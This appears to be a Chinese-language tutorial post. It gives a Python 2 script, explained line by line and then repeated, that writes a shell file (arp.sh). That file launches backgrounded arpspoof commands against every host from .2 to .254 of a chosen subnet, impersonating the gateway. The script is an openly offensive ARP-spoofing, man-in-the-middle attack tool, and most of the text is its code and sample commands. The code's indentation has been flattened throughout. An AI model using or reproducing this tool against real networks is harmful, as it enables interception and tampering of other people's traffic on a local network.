vscode
2.7.18
Windows Linux mac
#coding=utf-8
开头声明utf-8字符编码 此脚本执行时要输出中文
#定义函数
spot=('.')
Space=(' ')
gateway=('网关')
and_symbol=('&')
arp=('arpspoof')
IP_end=('IP结束')
IP_start=('IP开始')
Specify_gateway=('-t')
Specify_network_card=('-i')
定义脚本需要用到的函数 根据自己的环境定义
#定义网卡
print('指定网卡')
network_card=raw_input()
询问攻击机使用的网卡 并写入网卡
#定义IP开始结束
print('IP第一段')
IP1=input()
print('IP第二段')
IP2=input()
print('IP第三段')
IP3=input()
定义IP前三段函数
例如IP前三段 如192.168.100
#IP第四段开始
IP4KS=2
#IP第四段结束
IP4JS=254
IP第四段开始为2 结束为254
#定义网关
print('网关第一段')
WG1=input()
print('网关第二段')
WG2=input()
print('网关第三段')
WG3=input()
print('网关第四段')
WG4=input()
定义网关1-4段 如 192.168.100.1
#IP开始及结束
IPKS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4KS))
IPJS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4JS))
IPKS意为IP开始由(IP1 点 IP2 点 IP3 点 IP4开始)组成
如 192.168.100.1
IPJS意为IP结束由(IP1 点 IP2 点 IP3 点 IP4结束)组成
如192.168.100.254
#网关
WG=('%s%s%s%s%s%s%s' %(WG1,spot,WG2,spot,WG3,spot,WG4))
WG意为(网关1 点 网关2 点 网关3 点 网关4)组成
如192.168.100.1
#输出IP开始
print('%s%s%s' %(IP_start,Space,IPKS))
输出开始IP 由(IP前三段 空格 IP开始)组成
输出结果为 (IP开始 192.168.100.2)
#输出IP结束
print('%s%s%s' %(IP_end,Space,IPJS))
输出结束IP 由(IP前三段 空格 IP结束)组成
输出结果为 (IP开始 192.168.100.254)
#输出网关
print('%s%s%s' %(gateway,Space,WG))
输出网关 由(网关 空格 网关地址)组成
输出结果为 192.168.100.1
#IP前三段
IPQSD=('%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot))
定义IP前三段 由(IP1 点 IP2 点 IP3 点)组成
#命令执行前
Before_output_One=('%s%s%s%s%s%s%s%s%s' %(arp,Space,Specify_network_card,Space,network_card,Space,Specify_gateway,Space,IPQSD,))
Before_output_Two=('%s%s' %(Space,WG))
命令执行前 将函数拼接分为两段 为接下来的组合做准备
Before_output_One 由(arpspoof 空格 -i 空格 网卡 空格 -t 空格 IP前三段) 组成
输出结果为 arpspoof -i 网卡 -t 192.168.100.
Before_output_Two 由(空格 网关)组成
输出结果为 空格 192.168.100.1
拼接结果为 arpspoof -i 网卡 -t 192.180.100.(待生成的IP) 192.168.100.1
#判断是否执行
print('1.开始执行 2.取消执行')
judge_One = input('请选择:')
询问是否执行脚本
#IP开始减一 防止后续导出错误
IP4KS = IP4KS - 1
IP开始-1 本脚本使用的是while循环+1 现在-1是为了执行时从1开始加 输出第一行的数就是2
#开始判断是否执行
if judge_One == 1:
print('开始输出')
判断输入为1 开始输出执行结果
#清除之前的脚本
with open("arp.sh","w") as f:
f.write("")
脚本自动生成一个Shell文件 这里是为了清空之前生成的脚本
#开始输出
while IP4KS<IP4JS:
IP4KS=IP4KS+1
end=('%s%s%s%s' %(Before_output_One,IP4KS,Before_output_Two,and_symbol))
print(end)
f = open('arp.sh','a')
f.write(str(end)+'\n')
f.close()
IP刚刚-1 现在为1 现在+1 进入循环 第一次输出就是2
拼接结果为 arpspoof -i 网卡 -t 开始IP-结束IP 网关&
例如 arpspoof -i eth0 -t 192.168.100.2 192.168.100.1& 一直输出到192.168.100.254
在脚本路径下新建一个arp.sh文件 并将输出到结果写入到Shell脚本中
elif judge_One == 2:
print('取消执行')
判断输入为 取消执行脚本
else:
print('选择错误 取消执行')
输出结果不为1或者2 则取消执行脚本
执行脚本
#coding=utf-8
#定义函数
spot=('.')
Space=(' ')
gateway=('网关')
and_symbol=('&')
arp=('arpspoof')
IP_end=('IP结束')
IP_start=('IP开始')
Specify_gateway=('-t')
Specify_network_card=('-i')
#定义网卡
print('指定网卡')
network_card=raw_input()
#定义IP开始结束
print('IP第一段')
IP1=input()
print('IP第二段')
IP2=input()
print('IP第三段')
IP3=input()
#IP第四段开始
IP4KS=2
#IP第四段结束
IP4JS=254
#定义网关
print('网关第一段')
WG1=input()
print('网关第二段')
WG2=input()
print('网关第三段')
WG3=input()
print('网关第四段')
WG4=input()
#IP开始及结束
IPKS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4KS))
IPJS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4JS))
#网关
WG=('%s%s%s%s%s%s%s' %(WG1,spot,WG2,spot,WG3,spot,WG4))
#输出IP开始
print('%s%s%s' %(IP_start,Space,IPKS))
#延迟
import time
time.sleep(1)
#输出IP结束
print('%s%s%s' %(IP_end,Space,IPJS))
#延迟
import time
time.sleep(1)
#输出网关
print('%s%s%s' %(gateway,Space,WG))
#IP前三段
IPQSD=('%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot))
#命令执行前
Before_output_One=('%s%s%s%s%s%s%s%s%s' %(arp,Space,Specify_network_card,Space,network_card,Space,Specify_gateway,Space,IPQSD,))
Before_output_Two=('%s%s' %(Space,WG))
#延迟
import time
time.sleep(1)
#判断是否执行
print('1.开始执行 2.取消执行')
judge_One = input('请选择:')
#IP开始减一 防止后续导出错误
IP4KS = IP4KS - 1
#开始判断是否执行
if judge_One == 1:
print('开始输出')
#延迟
import time
time.sleep(1)
#清除之前的脚本
with open("arp.sh","w") as f:
f.write("")
#开始输出
while IP4KS<IP4JS:
IP4KS=IP4KS+1
end=('%s%s%s%s' %(Before_output_One,IP4KS,Before_output_Two,and_symbol))
print(end)
f = open('arp.sh','a')
f.write(str(end)+'\n')
f.close()
elif judge_One == 2:
#延迟
import time
time.sleep(1)
print('取消执行')
else:
#延迟
import time
time.sleep(1)
print('选择错误 取消执行')